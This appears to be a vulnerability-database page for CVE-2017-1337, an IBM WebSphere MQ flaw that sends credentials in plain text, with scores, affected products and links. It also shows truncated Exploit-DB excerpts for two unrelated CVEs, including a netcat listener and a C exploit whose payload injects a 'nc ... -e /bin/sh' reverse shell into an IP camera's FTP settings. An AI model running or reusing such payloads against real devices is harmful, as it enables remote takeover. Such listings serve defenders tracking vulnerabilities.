CVE-2017-1337
published 2017-07-10CVE-2017-1337: IBM WebSphere MQ 9.0.1 and 9.0.2 Java/JMS application can incorrectly transmit user credentials in plain text. IBM X-Force ID: 126245.
PriorityP338high8.1CVSS 3.0
AVNACHPRNUINSUCHIHAH
EPSS
1.47%
70.8th percentile
IBM WebSphere MQ 9.0.1 and 9.0.2 Java/JMS application can incorrectly transmit user credentials in plain text. IBM X-Force ID: 126245.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | mq | — | — |
| ibm | mq | — | — |
| ibm | websphere_mq | — | — |
| ibm | websphere_mq | — | — |
CVSS provenance
nvdv3.08.1HIGHCVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:P/I:N/A:N
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
EyesOfNetwork (EON) 5.0 - Remote Code Execution
exploitdb·2017-03-27·CVSS 8.8
CVE-2017-6087 [HIGH] EyesOfNetwork (EON) 5.0 - Remote Code Execution
EyesOfNetwork (EON) 5.0 - Remote Code Execution
---
# [CVE-2017-6087] EON 5.0 Remote Code Execution
## Description
EyesOfNetwork ("EON") is an OpenSource network monitoring solution.
## Remote Code Execution (authenticated)
The Eonweb code does not correctly filter arguments, allowing
authenticated users to execute arbitrary code.
**CVE ID**: CVE-2017-6087
**Access Vector**: remote
**Security Risk**: high
**Vulnerability**: CWE-78
**CVSS Base Score**: 7.6
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
### Proof of Concept 1
On the attacker's host, we start a handler:
```
nc -lvp 1337
```
The `selected_events` parameter is not correctly filtered before it is
used by the `shell_exec()` function.
There, it is possible to inject a payload like in the req
Exploit-DB
Wireless IP Camera (P2P) WIFICAM - Remote Code Execution
exploitdb·2017-03-08
CVE-2017-8225 Wireless IP Camera (P2P) WIFICAM - Remote Code Execution
Wireless IP Camera (P2P) WIFICAM - Remote Code Execution
---
// Exploit-DB Note ~ Source: https://pierrekim.github.io/advisories/expl-goahead-camera.c
// Exploit-DB Note ~ Credit: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
#include
#include
#include
#include
#include
#include
#include
#include
#define CAM_PORT 80
#define REMOTE_HOST "192.168.1.1"
#define REMOTE_PORT "1337"
#define PAYLOAD_0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" REMOTE_HOST "+" REMOTE_PORT "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"
#define PAYLOAD_1 "GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n"
#define PAYLOAD_2 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&
No writeups or analysis indexed.
http://www.ibm.com/support/docview.wss?uid=swg22003853http://www.securityfocus.com/bid/99493https://exchange.xforce.ibmcloud.com/vulnerabilities/126245http://www.ibm.com/support/docview.wss?uid=swg22003853http://www.securityfocus.com/bid/99493https://exchange.xforce.ibmcloud.com/vulnerabilities/126245
2017-07-10
Published